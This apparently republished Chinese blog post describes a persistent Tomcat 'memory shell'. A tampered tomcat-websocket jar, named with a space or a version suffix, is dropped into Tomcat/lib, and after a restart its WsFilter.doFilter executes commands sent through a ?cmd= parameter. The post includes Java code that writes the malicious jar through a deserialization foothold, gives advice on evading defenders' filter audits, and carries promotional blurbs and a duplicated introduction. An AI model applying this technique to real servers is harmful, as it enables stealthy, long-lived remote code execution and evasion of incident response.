从一个被Tomcat拒绝的漏洞到特殊内存马

307 阅读5分钟

介绍

今天研究内存马相关的东西,偶然间发现一处解析BUG

一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE

不一定算得上是漏洞,不过我还是向Tomcat发了邮件尝试

Tomcat果然拒绝了,原因是需要在其他漏洞的基础上触发

这个漏洞其实在一些情况下会有巧妙的利用,本文就围绕这个利用点来谈

→点击查看技术资料←

1.2000多本网络安全系列电子书
2.网络安全标准题库资料
3.项目源码
4.网络安全基础入门、Linux、web安全、攻防方面的视频
5.网络安全学习路线图

思路

思路来自于之前写的一篇文章:某知名Java框架内存马挖掘

从中得到一种思路:将恶意代码逻辑隐藏到目标框架必须的Filter中

换句话来说,是否能将恶意代码注入到Tomcat默认存在的Filter中呢

使用c0ny1师傅的检测工具发现,任何情况都会存在WsFilter

能否构造出一个恶意的WsFilter类注入到依赖库中

构造

在目标Tomcat/lib下找到tomcat-websocket.jar

找到WsFilter的代码,在doFilter中插入一些代码

我这里是简单的回显执行命令,也可以是一些其他逻辑

介绍

今天研究内存马相关的东西,偶然间发现一处解析BUG

一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE

不一定算得上是漏洞,不过我还是向Tomcat发了邮件尝试

Tomcat果然拒绝了,原因是需要在其他漏洞的基础上触发

这个漏洞其实在一些情况下会有巧妙的利用,本文就围绕这个利用点来谈

→点击查看技术资料←

1.2000多本网络安全系列电子书
2.网络安全标准题库资料
3.项目源码
4.网络安全基础入门、Linux、web安全、攻防方面的视频
5.网络安全学习路线图

思路

思路来自于之前写的一篇文章:某知名Java框架内存马挖掘

从中得到一种思路:将恶意代码逻辑隐藏到目标框架必须的Filter中

换句话来说,是否能将恶意代码注入到Tomcat默认存在的Filter中呢

使用c0ny1师傅的检测工具发现,任何情况都会存在WsFilter

能否构造出一个恶意的WsFilter类注入到依赖库中

构造

在目标Tomcat/lib下找到tomcat-websocket.jar

找到WsFilter的代码,在doFilter中插入一些代码

我这里是简单的回显执行命令,也可以是一些其他逻辑

核心

以上逻辑看似合理,实际上有很大的问题:

依赖库在Tomcat运行的时候被占用不可修改,所以要停下Tomcat服务,然后才能替换依赖库

如果思路一直放在如何修改被占用的依赖库,那么这个问题是无解的

但我发现了一种巧妙的方法,来自于TomcatJar包的特殊加载顺序

(这里是Windows Tomcat 8的测试环境,其他环境不确定有这样的顺序)

如果我在Tomcat/lib下复制一个tomcat-websocket.jar

区别在于.jar之前加入一个空格:tomcat-websocket .jar

这时候启动Tomcat会发现tomcat-websocket .jar被加载了

参考图片中的路径,其中包含%20

有了突破思路

利用

假设目前有一个反序列化漏洞触发点,我们首先要做的是给Tomcat/lib下添加恶意库

这个库可以由黑客自行构造,然后转成二进制数据传过去

try {
    // 从standardContext中得到的resource路径是tomcat/lib
    WebappClassLoaderBase webappClassLoaderBase = ( WebappClassLoaderBase )
        Thread . currentThread (). getContextClassLoader ();
    StandardContext standardCtx = ( StandardContext ) webappClassLoaderBase . getResources (). getContext ();
    String path = standardCtx . getClass (). getClassLoader (). getResource ( "" ). toString ();
    // 得到需要写入的文件路径tomcat/lib/tomcat-websocket .jar
    String finalPath = path . split ( "file:/" )[ 1 ]+ "tomcat-websocket .jar" ;
    // 为了测试方便直接读了文件
    // 实战中可以传过来base64的二进制数据(文件不是很大只有200K左右)
    byte [] data = Files . readAllBytes ( Paths . get ( "C:/JavaCode/Tomcat/tomcat-websocket .jar" ));
    // 写入目标路径
    Files . write ( Paths . get ( finalPath ), data );
} catch ( Exception e ) {
    e . printStackTrace ();
} 

暂时是无法触发的,不过如果程序添加新的功能或者特殊情况,一定会重启

(其实服务端的Tomcat重启概率不算低,很多情况都会重启)

重启后会加载恶意的tomcat-websocket .jar文件,这时候已经实现了顽固的内存马

攻击方可以守株待兔时不时尝试下/xxx.jsp?cmd=whoami看结果,一旦有结果说明有重启,加载了恶意jar

经过测试,发现.等情况也会导致这种问题,不过暂时没有做深入的研究

如下图,防守方在审计时,看到FilterNameFilterClass都是Tomcat自带的,FilterClassFile位于Tomcat/lib下的,是没有什么问题的

面多众多的FilterServlet情况下,很难会想到是WsFilter出的问题

后来测试发现了一种进一步隐藏的方式:

黑客可以获取路径得到tomcat版本,比如我这里的8.5.72,分割路径即可获得字符串

然后给新jar包命名位tomcat-websocket-8.5.72.jar

相对于加个.或者空格,这种做法更为隐蔽

代码在:github.com/EmYiQing/Me… 参考文献\

最后

私信我获取【网络安全学习资料